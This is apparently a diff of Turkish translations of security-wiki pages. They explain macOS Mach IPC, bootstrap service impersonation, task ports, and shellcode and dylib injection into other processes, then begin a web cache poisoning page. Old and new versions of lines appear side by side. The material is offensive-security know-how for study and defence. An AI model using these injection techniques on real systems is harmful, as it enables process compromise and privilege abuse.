5. Görev **B**, bir bootstrap **hizmet adı için arama** yapmak üzere **bootstrap sunucusu ile etkileşime girer** (`bootstrap_lookup`). Bootstrap sunucusu yanıt verebilmesi için, görev B, arama mesajı içinde daha önce oluşturduğu bir port için **GÖNDER hakkını** ona gönderir. Arama başarılı olursa, **sunucu, Görev A'dan aldığı GÖNDER hakkını kopyalar** ve **Görev B'ye iletir**.
|
||||
- Unutmayın ki herkes bootstrap sunucusuna bir GÖNDER hakkı alabilir.
|
||||
6. Bu GÖNDER hakkı ile, **Görev B**, **Görev A'ya** **bir mesaj gönderebilir**.
|
||||
7. İki yönlü iletişim için genellikle görev **B**, bir **ALMA** hakkı ve bir **GÖNDER** hakkı ile yeni bir port oluşturur ve **GÖNDER hakkını Görev A'ya** verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
|
||||
|
||||
Bootstrap sunucusu, bir görevin iddia ettiği hizmet adını **doğrulayamaz**. Bu, bir **görevin** potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir; örneğin, yanlış bir şekilde **bir yetkilendirme hizmet adı iddia edip** ardından her isteği onaylayabilir.
|
||||
Bootstrap sunucusu, bir görevin iddia ettiği hizmet adını **doğrulayamaz**. Bu, bir **görevin** potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir; örneğin, yanlış bir şekilde **bir yetkilendirme hizmet adı iddia edip** her isteği onaylayabilir.
|
||||
|
||||
Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar; bu dosyalar **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adıyla birlikte, **ilişkili ikili dosya da saklanır**. Bootstrap sunucusu, bu hizmet adları için bir **ALMA hakkı oluşturur ve tutar**.
|
||||
Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar; bu dosyalar **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adı ile birlikte, **ilişkili ikili dosya da saklanır**. Bootstrap sunucusu, bu hizmet adları için bir **ALMA hakkı oluşturur ve tutar**.
|
||||
|
||||
Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı arandığında, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şu şekildedir:
|
||||
|
||||
- Görev **B**, bir hizmet adı için bootstrap **arama** başlatır.
|
||||
- **launchd**, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, **başlatır**.
|
||||
- Görev **A** (hizmet), **bootstrap check-in** (`bootstrap_check_in()`) gerçekleştirir. Burada, **bootstrap** sunucusu bir GÖNDER hakkı oluşturur, onu saklar ve **ALMA hakkını Görev A'ya aktarır**.
|
||||
- launchd, **GÖNDER hakkını çoğaltır ve Görev B'ye gönderir**.
|
||||
- Görev **A** (hizmet), bir **bootstrap check-in** (`bootstrap_check_in()`) gerçekleştirir. Burada, **bootstrap** sunucusu bir GÖNDER hakkı oluşturur, bunu saklar ve **ALMA hakkını Görev A'ya aktarır**.
|
||||
- launchd, **GÖNDER hakkını kopyalar ve Görev B'ye gönderir**.
|
||||
- Görev **B**, bir **ALMA** hakkı ve bir **GÖNDER** hakkı ile yeni bir port oluşturur ve **GÖNDER hakkını Görev A'ya** (hizmet) verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
|
||||
|
||||
Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geçerlidir. Sistem dışı görevler, başlangıçta tanımlandığı gibi çalışmaya devam eder, bu da taklit edilme olasılığını artırabilir.
|
||||
Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geçerlidir. Sistem dışı görevler, başlangıçta açıklandığı gibi çalışmaya devam eder, bu da taklit olasılığını artırabilir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu nedenle, launchd asla çökmemelidir, aksi takdirde tüm sistem çöker.
|
||||
@ -74,7 +74,7 @@ Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geç
|
||||
|
||||
[Buradan daha fazla bilgi edinin](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg` fonksiyonu, esasen bir sistem çağrısıdır ve Mach mesajlarını göndermek ve almak için kullanılır. Fonksiyon, gönderilecek mesajı ilk argüman olarak gerektirir. Bu mesaj, `mach_msg_header_t` yapısı ile başlamalı ve ardından gerçek mesaj içeriği gelmelidir. Yapı şu şekilde tanımlanmıştır:
|
||||
`mach_msg` fonksiyonu, esasen bir sistem çağrısıdır ve Mach mesajlarını göndermek ve almak için kullanılır. Fonksiyon, gönderilecek mesajı ilk argüman olarak gerektirir. Bu mesaj, bir `mach_msg_header_t` yapısı ile başlamalı ve ardından gerçek mesaj içeriği gelmelidir. Yapı şu şekilde tanımlanmıştır:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
@ -91,11 +91,11 @@ Başlangıç alanı **`msgh_bits`** bir bitmap'tir:
|
||||
|
||||
- İlk bit (en anlamlı) bir mesajın karmaşık olduğunu belirtmek için kullanılır (bununla ilgili daha fazla bilgi aşağıda)
|
||||
- 3. ve 4. bitler çekirdek tarafından kullanılır
|
||||
- **2. baytın 5 en az anlamlı biti** **voucher** için kullanılabilir: anahtar/değer kombinasyonlarını göndermek için başka bir port türü.
|
||||
- **3. baytın 5 en az anlamlı biti** **local port** için kullanılabilir
|
||||
- **4. baytın 5 en az anlamlı biti** **remote port** için kullanılabilir
|
||||
- 2. baytın **5 en az anlamlı biti** **voucher** için kullanılabilir: anahtar/değer kombinasyonlarını göndermek için başka bir port türü.
|
||||
- 3. baytın **5 en az anlamlı biti** **local port** için kullanılabilir
|
||||
- 4. baytın **5 en az anlamlı biti** **remote port** için kullanılabilir
|
||||
|
||||
Voucher, yerel ve uzak portlarda belirtilebilecek türler şunlardır ( [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) ):
|
||||
Voucher, yerel ve uzak portlarda belirtilebilecek türler şunlardır ( [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) üzerinden):
|
||||
```c
|
||||
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
|
||||
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
|
||||
@ -108,12 +108,12 @@ Voucher, yerel ve uzak portlarda belirtilebilecek türler şunlardır ( [**mach/
|
||||
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
|
||||
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
|
||||
```
|
||||
Örneğin, `MACH_MSG_TYPE_MAKE_SEND_ONCE` bu port için bir **send-once** **hakkının** türetilip aktarılacağını **belirtmek** için kullanılabilir. Ayrıca, alıcının yanıt verebilmesini önlemek için `MACH_PORT_NULL` olarak da belirtilebilir.
|
||||
Örneğin, `MACH_MSG_TYPE_MAKE_SEND_ONCE` bu port için bir **send-once** **hakkının** türetilip aktarılması gerektiğini **belirtmek** için kullanılabilir. Ayrıca, alıcının yanıt verememesi için `MACH_PORT_NULL` olarak da belirtilebilir.
|
||||
|
||||
Kolay bir **iki yönlü iletişim** sağlamak için bir süreç, mesajın **alıcı**'sının bu mesaja **yanıt gönderebileceği** _yanıt portu_ (**`msgh_local_port`**) olarak adlandırılan bir **mach portu** belirtebilir.
|
||||
Kolay bir **iki yönlü iletişim** sağlamak için bir işlem, mesajın **alıcı**'sının bu mesaja **yanıt gönderebileceği** _yanıt portu_ (**`msgh_local_port`**) olarak adlandırılan bir **mach portu** belirtebilir.
|
||||
|
||||
> [!TIP]
|
||||
> Bu tür iki yönlü iletişimin, bir yanıt bekleyen XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak **genellikle farklı portlar oluşturulur**; daha önce açıklandığı gibi iki yönlü iletişimi sağlamak için.
|
||||
> Bu tür iki yönlü iletişimin, bir yanıt bekleyen XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak **genellikle farklı portlar oluşturulur**; daha önce açıklandığı gibi iki yönlü iletişim oluşturmak için.
|
||||
|
||||
Mesaj başlığının diğer alanları şunlardır:
|
||||
|
||||
@ -123,9 +123,9 @@ Mesaj başlığının diğer alanları şunlardır:
|
||||
- `msgh_id`: bu mesajın alıcı tarafından yorumlanan kimliği.
|
||||
|
||||
> [!CAUTION]
|
||||
> **mach mesajlarının `mach port` üzerinden gönderildiğini** unutmayın; bu, mach çekirdeğine entegre edilmiş **tek alıcı**, **birden fazla gönderici** iletişim kanalıdır. **Birden fazla süreç**, bir mach portuna **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **tek bir süreç** ondan **okuma yapabilir**.
|
||||
> **mach mesajlarının `mach port` üzerinden gönderildiğini** unutmayın; bu, mach çekirdeğine entegre edilmiş **tek alıcı**, **birden fazla gönderici** iletişim kanalıdır. **Birden fazla işlem**, bir mach portuna **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **tek bir işlem okuyabilir**.
|
||||
|
||||
Mesajlar, **`mach_msg_header_t`** başlığı, ardından **gövde** ve **trailer** (varsa) ile oluşturulur ve yanıt verme izni verebilir. Bu durumlarda, çekirdek yalnızca mesajı bir görevden diğerine iletmek zorundadır.
|
||||
Mesajlar, **`mach_msg_header_t`** başlığı, ardından **gövde** ve **trailer** (varsa) ile oluşturulur ve buna yanıt verme izni verebilir. Bu durumlarda, çekirdek yalnızca mesajı bir görevden diğerine iletmek zorundadır.
|
||||
|
||||
Bir **trailer**, **çekirdek tarafından mesaja eklenen bilgidir** (kullanıcı tarafından ayarlanamaz) ve mesaj alımında `MACH_RCV_TRAILER_<trailer_opt>` bayrakları ile talep edilebilir (talep edilebilecek farklı bilgiler vardır).
|
||||
|
||||
@ -153,17 +153,17 @@ mach_msg_descriptor_type_t type : 8;
|
||||
In 32bit sistemlerde, tüm tanımlayıcılar 12B'dir ve tanımlayıcı türü 11. baytta bulunur. 64 bit sistemlerde ise boyutlar değişir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Çekirdek, tanımlayıcıları bir görevden diğerine kopyalayacaktır ancak önce **çekirdek belleğinde bir kopya oluşturacaktır**. Bu teknik, "Feng Shui" olarak bilinir ve birkaç istismarda **çekirdeğin belleğinde veri kopyalamasını** sağlamak için kötüye kullanılmıştır, bu da bir sürecin kendisine tanımlayıcılar göndermesine neden olur. Ardından süreç, mesajları alabilir (çekirdek bunları serbest bırakacaktır).
|
||||
> Çekirdek, tanımlayıcıları bir görevden diğerine kopyalayacaktır ancak önce **çekirdek belleğinde bir kopya oluşturacaktır**. Bu teknik, "Feng Shui" olarak bilinir ve bir sürecin kendisine tanımlayıcılar göndermesini sağlamak için birkaç istismarda kötüye kullanılmıştır. Böylece süreç, mesajları alabilir (çekirdek bunları serbest bırakacaktır).
|
||||
>
|
||||
> Ayrıca, **bir savunmasız sürece port hakları göndermek** de mümkündür ve port hakları süreçte sadece görünecektir (bu hakları yönetmese bile).
|
||||
|
||||
### Mac Ports API'leri
|
||||
### Mac Portları API'leri
|
||||
|
||||
Portların görev ad alanına bağlı olduğunu unutmayın, bu nedenle bir port oluşturmak veya aramak için görev ad alanı da sorgulanır (daha fazla bilgi için `mach/mach_port.h`):
|
||||
|
||||
- **`mach_port_allocate` | `mach_port_construct`**: **Bir port oluşturun**.
|
||||
- `mach_port_allocate` ayrıca bir **port seti** oluşturabilir: bir grup port üzerinde alma hakkı. Bir mesaj alındığında, nereden geldiği belirtilir.
|
||||
- `mach_port_allocate_name`: Portun adını değiştirin (varsayılan 32bit tamsayı)
|
||||
- `mach_port_allocate_name`: Portun adını değiştirin (varsayılan 32bit tam sayı)
|
||||
- `mach_port_names`: Hedeften port adlarını alın
|
||||
- `mach_port_type`: Bir ad üzerindeki bir görev hakkını alın
|
||||
- `mach_port_rename`: Bir portu yeniden adlandırın (FD'ler için dup2 gibi)
|
||||
@ -183,7 +183,7 @@ Portların görev ad alanına bağlı olduğunu unutmayın, bu nedenle bir port
|
||||
<strong>(lldb) r
|
||||
</strong>İşlem 71019 başlatıldı: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
|
||||
İşlem 71019 durdu
|
||||
* thread #1, kuyruk = 'com.apple.main-thread', durma nedeni = kesme noktası 1.1
|
||||
* thread #1, queue = 'com.apple.main-thread', durma nedeni = kesme noktası 1.1
|
||||
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
|
||||
libsystem_kernel.dylib`mach_msg:
|
||||
-> 0x181d3ac20 <+0>: pacibsp
|
||||
@ -192,7 +192,7 @@ libsystem_kernel.dylib`mach_msg:
|
||||
0x181d3ac2c <+12>: add x29, sp, #0x10
|
||||
Hedef 0: (SandboxedShellApp) durdu.
|
||||
<strong>(lldb) bt
|
||||
</strong>* thread #1, kuyruk = 'com.apple.main-thread', durma nedeni = kesme noktası 1.1
|
||||
</strong>* thread #1, queue = 'com.apple.main-thread', durma nedeni = kesme noktası 1.1
|
||||
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
|
||||
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
|
||||
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
|
||||
@ -241,7 +241,7 @@ Mesaj başlığını inceleyerek ilk argümanı kontrol edin:
|
||||
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
|
||||
; 0x40000322 -> mach_msg_id_t (msgh_id)
|
||||
```
|
||||
`mach_msg_bits_t` türü, bir yanıtı mümkün kılmak için oldukça yaygındır.
|
||||
`mach_msg_bits_t` türü, bir yanıtı sağlamak için çok yaygındır.
|
||||
|
||||
### Portları listele
|
||||
```bash
|
||||
@ -271,7 +271,7 @@ name ipc-object rights flags boost reqs recv send sonce oref q
|
||||
Ayrıca, yalnızca **`send`** hakkına sahip portların **sahibini tanımladığını** da not edin (port adı + pid).\
|
||||
Ayrıca, aynı porta bağlı **diğer görevleri** belirtmek için **`+`** kullanımını da not edin.
|
||||
|
||||
Ayrıca, [**procesxp**](https://www.newosxbook.com/tools/procexp.html) kullanarak **kayıtlı hizmet isimlerini** de görebilirsiniz (SIP devre dışı bırakıldığında `com.apple.system-task-port` gereklidir):
|
||||
Ayrıca, [**procesxp**](https://www.newosxbook.com/tools/procexp.html) kullanarak **kayıtlı hizmet isimlerini** de görebilirsiniz (SIP devre dışı bırakılmıştır çünkü `com.apple.system-task-port` gereklidir):
|
||||
```
|
||||
procesp 1 ports
|
||||
```
|
||||
@ -415,7 +415,7 @@ Bu portlar bir numara ile temsil edilir.
|
||||
|
||||
**SEND** hakları **`host_get_special_port`** çağrısı ile elde edilebilir ve **RECEIVE** hakları **`host_set_special_port`** çağrısı ile elde edilir. Ancak, her iki çağrı da yalnızca root'un erişebileceği **`host_priv`** portunu gerektirir. Dahası, geçmişte root, **`host_set_special_port`** çağrısı yaparak, örneğin `HOST_KEXTD_PORT`'u ele geçirerek kod imzalarını atlatmasına olanak tanıyan keyfi bir portu ele geçirebiliyordu (SIP şimdi bunu engelliyor).
|
||||
|
||||
Bunlar 2 gruba ayrılır: **ilk 7 port çekirdek tarafından sahiplenilmiştir**; 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT` ve 7 `HOST_MAX_SPECIAL_KERNEL_PORT`'tur.\
|
||||
Bunlar 2 gruba ayrılır: **İlk 7 port çekirdek tarafından sahiplenilmiştir**; 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT` ve 7 `HOST_MAX_SPECIAL_KERNEL_PORT`'tur.\
|
||||
**8** numarasından itibaren olanlar **sistem daemon'ları tarafından sahiplenilmiştir** ve [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) dosyasında tanımlanmışlardır.
|
||||
|
||||
- **Ana Bilgisayar Portu**: Eğer bir süreç bu port üzerinde **SEND** ayrıcalığına sahipse, aşağıdaki gibi sistem hakkında **bilgi** alabilir:
|
||||
@ -424,7 +424,7 @@ Bunlar 2 gruba ayrılır: **ilk 7 port çekirdek tarafından sahiplenilmiştir**
|
||||
- `host_virtual_physical_table_info`: Sanal/Fiziksel sayfa tablosu (MACH_VMDEBUG gerektirir)
|
||||
- `host_statistics`: Ana bilgisayar istatistiklerini al
|
||||
- `mach_memory_info`: Çekirdek bellek düzenini al
|
||||
- **Ana Bilgisayar Priv portu**: Bu port üzerinde **SEND** hakkına sahip bir süreç, önyükleme verilerini gösterme veya bir çekirdek uzantısını yüklemeye çalışma gibi **ayrıcalıklı eylemler** gerçekleştirebilir. Bu izni almak için **sürecin root olması gerekir**.
|
||||
- **Ana Bilgisayar Priv portu**: Bu port üzerinde **SEND** hakkına sahip bir süreç, önyükleme verilerini gösterme veya bir çekirdek uzantısını yüklemeye çalışma gibi **ayrıcalıklı eylemler** gerçekleştirebilir. **Bu izni almak için süreç root olmalıdır**.
|
||||
- Dahası, **`kext_request`** API'sini çağırmak için yalnızca Apple ikili dosyalarına verilen diğer yetkilere **`com.apple.private.kext*`** sahip olunması gerekmektedir.
|
||||
- Çağrılabilecek diğer rutinler şunlardır:
|
||||
- `host_get_boot_info`: `machine_boot_info()` al
|
||||
@ -463,7 +463,7 @@ Başlangıçta Mach "işlemler" yerine "görevler" kullanıyordu, bu da daha ço
|
||||
|
||||
Bununla ilgili iki çok ilginç fonksiyon vardır:
|
||||
|
||||
- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Belirtilen `pid` ile ilişkili görevin portu için bir SEND hakkı alır ve bunu belirtilen `target_task_port`'a verir (genellikle `mach_task_self()` kullanan çağıran görevdir, ancak farklı bir görev üzerindeki bir SEND portu da olabilir).
|
||||
- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Belirtilen `pid` ile ilişkili görevin portu için bir SEND hakkı alır ve bunu belirtilen `target_task_port`'a verir (genellikle `mach_task_self()` kullanmış olan çağıran görevdir, ancak farklı bir görev üzerindeki bir SEND portu da olabilir).
|
||||
- `pid_for_task(task, &pid)`: Bir göreve verilen bir SEND hakkı ile, bu görevin hangi PID ile ilişkili olduğunu bulur.
|
||||
|
||||
Görev içinde eylemler gerçekleştirmek için, görev kendisine `mach_task_self()` çağrısı yaparak bir `SEND` hakkına ihtiyaç duyar (bu, `task_self_trap` (28) kullanır). Bu izinle bir görev, aşağıdaki gibi çeşitli eylemler gerçekleştirebilir:
|
||||
@ -479,14 +479,14 @@ Görev içinde eylemler gerçekleştirmek için, görev kendisine `mach_task_sel
|
||||
> [!CAUTION]
|
||||
> Farklı bir görevin görev portu üzerinde bir SEND hakkı ile, farklı bir görev üzerinde bu tür eylemler gerçekleştirmek mümkündür.
|
||||
|
||||
Ayrıca, task_port aynı zamanda **`vm_map`** portudur ve `vm_read()` ve `vm_write()` gibi fonksiyonlarla bir görev içinde **belleği okuma ve manipüle etme** imkanı sağlar. Bu, temelde, farklı bir görevin task_port'u üzerinde SEND haklarına sahip bir görevin, o göreve **kod enjekte edebileceği** anlamına gelir.
|
||||
Ayrıca, task_port aynı zamanda **`vm_map`** portudur ve bu, `vm_read()` ve `vm_write()` gibi fonksiyonlarla bir görev içinde **belleği okuma ve manipüle etme** olanağı sağlar. Bu, temelde, farklı bir görevin task_port'u üzerinde SEND haklarına sahip bir görevin, o göreve **kod enjekte edebileceği** anlamına gelir.
|
||||
|
||||
**Kernel'in de bir görev olduğunu** unutmayın, eğer biri **`kernel_task`** üzerinde **SEND izinleri** almayı başarırsa, kernel'in herhangi bir şeyi çalıştırmasını sağlayabilir (jailbreakler).
|
||||
**Kernel'in de bir görev olduğunu** unutmayın, eğer biri **`kernel_task`** üzerinde **SEND izinleri** almayı başarırsa, çekirdeğin herhangi bir şeyi çalıştırmasını sağlayabilir (jailbreakler).
|
||||
|
||||
- Çağıran görev için bu portun **adını almak** için `mach_task_self()` çağrısını yapın. Bu port yalnızca **`exec()`** üzerinden **devralınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (özel bir durum olarak, bir görev `exec()` ile bir suid ikili dosyasında yeni bir görev portu alır). Bir görevi başlatmanın ve portunu almanın tek yolu, bir `fork()` yaparken ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) gerçekleştirmektir.
|
||||
- Portu erişim kısıtlamaları (binary `AppleMobileFileIntegrity`'den `macos_task_policy`):
|
||||
- Çağıran görev için bu portun **adını almak** için `mach_task_self()` çağrısını yapın. Bu port yalnızca **`exec()`** üzerinden **devralınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (özel bir durum olarak, bir görev `exec()` ile bir suid ikili dosyasında yeni bir görev portu da alır). Bir görevi başlatmanın ve portunu almanın tek yolu, bir `fork()` yaparken ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) gerçekleştirmektir.
|
||||
- Portu erişim kısıtlamaları (binary `AppleMobileFileIntegrity` içindeki `macos_task_policy`'den):
|
||||
- Uygulama **`com.apple.security.get-task-allow` yetkisine** sahipse, **aynı kullanıcıdan** gelen işlemler görev portuna erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** süreci bunu üretim sürümlerine izin vermez.
|
||||
- **`com.apple.system-task-ports`** yetkisine sahip uygulamalar, **herhangi bir** işlemin görev portunu alabilir, kernel hariç. Eski sürümlerde buna **`task_for_pid-allow`** denirdi. Bu yalnızca Apple uygulamalarına verilir.
|
||||
- **`com.apple.system-task-ports`** yetkisine sahip uygulamalar, **herhangi bir** işlemin görev portunu alabilir, çekirdek hariç. Eski sürümlerde buna **`task_for_pid-allow`** denirdi. Bu yalnızca Apple uygulamalarına verilir.
|
||||
- **Root,** **hardened** çalışma zamanı ile derlenmemiş uygulamaların görev portlarına erişebilir (ve Apple'dan olmayan).
|
||||
|
||||
**Görev adı portu:** _görev portu_ için ayrıcalıksız bir versiyon. Görevi referans alır, ancak onu kontrol etmeye izin vermez. Bunun aracılığıyla mevcut olan tek şey `task_info()` gibi görünmektedir.
|
||||
@ -506,7 +506,14 @@ Herhangi bir iş parçacığı, **`mach_thread_sef`** çağrısı yaparak bu por
|
||||
|
||||
### Görev portu aracılığıyla iş parçacığında Shellcode Enjeksiyonu
|
||||
|
||||
Bir shellcode alabilirsiniz:
|
||||
Bir shellcode alabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="mysleep.m"}}
|
||||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
@ -763,15 +770,15 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
> [!TIP]
|
||||
> Bunun iOS'ta çalışması için yazılabilir bir bellek yürütülebilir hale getirmek üzere `dynamic-codesigning` yetkisine ihtiyacınız var.
|
||||
|
||||
### Görev portu aracılığıyla thread'e Dylib Enjeksiyonu
|
||||
### Görev portu aracılığıyla iş parçacığında Dylib Enjeksiyonu
|
||||
|
||||
macOS'ta **thread'ler** **Mach** veya **posix `pthread` api** kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz thread, Mach api kullanılarak oluşturuldu, bu nedenle **posix uyumlu değil**.
|
||||
macOS'ta **iş parçacıkları**, **Mach** veya **posix `pthread` api** kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz iş parçacığı, Mach api kullanılarak oluşturuldu, bu nedenle **posix uyumlu değildir**.
|
||||
|
||||
Bir komutu yürütmek için **basit bir shellcode** enjekte etmek mümkündü çünkü **posix uyumlu** apilerle çalışması gerekmiyordu, sadece Mach ile. **Daha karmaşık enjeksiyonlar** için **thread'in** de **posix uyumlu** olması gerekecektir.
|
||||
Bir komutu yürütmek için **basit bir shellcode** enjekte etmek mümkündü çünkü **posix uyumlu** apilerle çalışması gerekmiyordu, sadece Mach ile. **Daha karmaşık enjeksiyonlar**, **iş parçacığının** da **posix uyumlu** olmasını gerektirecektir.
|
||||
|
||||
Bu nedenle, **thread'i geliştirmek** için **`pthread_create_from_mach_thread`** çağrılmalıdır; bu, **geçerli bir pthread** oluşturacaktır. Ardından, bu yeni pthread **dlopen** çağrısı yaparak sistemden **bir dylib** yükleyebilir, böylece farklı eylemleri gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklemek mümkündür.
|
||||
Bu nedenle, **iş parçacığını geliştirmek** için **`pthread_create_from_mach_thread`** çağrılmalıdır; bu, **geçerli bir pthread** oluşturacaktır. Ardından, bu yeni pthread **dlopen** çağrısı yaparak sistemden **bir dylib** yükleyebilir, böylece farklı eylemleri gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklemek mümkündür.
|
||||
|
||||
**Örnek dylib'leri** (örneğin bir log üreten ve ardından dinleyebileceğiniz) şu adreste bulabilirsiniz:
|
||||
**Örnek dylib'leri** (örneğin bir günlük oluşturan ve ardından dinleyebileceğiniz) şu adreste bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
@ -1096,7 +1103,7 @@ Ayrıca, **işlemci seti** API'leri birden fazla işlemciyi bir grupta toplamak
|
||||
- `processor_set_stack_usage`
|
||||
- `processor_set_info`
|
||||
|
||||
Daha önce [**bu yazıda**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) belirtildiği gibi, geçmişte bu, daha önce bahsedilen korumayı aşarak diğer süreçlerde görev portlarına erişim sağlıyordu ve **`processor_set_tasks`** çağrılarak her süreçte bir ana port alınıyordu.\
|
||||
Daha önce [**bu yazıda**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) belirtildiği gibi, geçmişte bu, daha önce bahsedilen korumayı aşarak diğer süreçlerde görev portlarını elde etmeyi sağlıyordu ve **`processor_set_tasks`** çağrılarak her süreçte bir ana port alınıyordu.\
|
||||
Günümüzde bu fonksiyonu kullanmak için root olmanız gerekiyor ve bu korunduğu için yalnızca korumasız süreçlerde bu portları alabileceksiniz.
|
||||
|
||||
Bunu şunlarla deneyebilirsiniz:
|
||||
|
@ -6,12 +6,12 @@
|
||||
|
||||
> **Web cache poisoning ile web cache deception arasındaki fark nedir?**
|
||||
>
|
||||
> - **Web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerik, önbellekten diğer uygulama kullanıcılarına sunulur.
|
||||
> - **Web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerikler önbellekten diğer uygulama kullanıcılarına sunulur.
|
||||
> - **Web cache deception**'da, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe depolamasını sağlar ve ardından bu içeriği önbellekten geri alır.
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
Cache poisoning, istemci tarafı önbelleğini manipüle etmeyi amaçlar ve istemcilerin beklenmedik, kısmi veya bir saldırganın kontrolü altındaki kaynakları yüklemesini zorlar. Etkilerin kapsamı, etkilenen sayfanın popülaritesine bağlıdır, çünkü kirlenmiş yanıt yalnızca önbellek kontaminasyonu süresince sayfayı ziyaret eden kullanıcılara sunulur.
|
||||
Cache poisoning, istemci tarafı önbelleğini manipüle ederek istemcilerin beklenmedik, kısmi veya bir saldırganın kontrolü altındaki kaynakları yüklemeye zorlamayı amaçlar. Etkisi, etkilenen sayfanın popülaritesine bağlıdır, çünkü kirlenmiş yanıt yalnızca önbellek kontaminasyonu süresince sayfayı ziyaret eden kullanıcılara sunulur.
|
||||
|
||||
Cache poisoning saldırısının gerçekleştirilmesi birkaç adım içerir:
|
||||
|
||||
@ -21,7 +21,7 @@ Cache poisoning saldırısının gerçekleştirilmesi birkaç adım içerir:
|
||||
|
||||
### Keşif: HTTP başlıklarını kontrol et
|
||||
|
||||
Genellikle, bir yanıt **önbelleğe kaydedildiğinde** bununla ilgili bir **başlık olacaktır**, bu gönderide hangi başlıklara dikkat etmeniz gerektiğini kontrol edebilirsiniz: [**HTTP Cache başlıkları**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
Genellikle, bir yanıt **önbelleğe kaydedildiğinde** bununla ilgili bir **başlık olacaktır**, hangi başlıklara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: [**HTTP Cache başlıkları**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Keşif: Önbellek hata kodları
|
||||
|
||||
@ -35,9 +35,9 @@ cache-poisoning-to-dos.md
|
||||
|
||||
Ancak, **bazen bu tür durum kodlarının önbelleğe alınmadığını** unutmayın, bu nedenle bu test güvenilir olmayabilir.
|
||||
|
||||
### Keşif: Anahtarsız girdileri tanımlayın ve değerlendirin
|
||||
### Keşif: Anahtarsız girdileri tanımlama ve değerlendirme
|
||||
|
||||
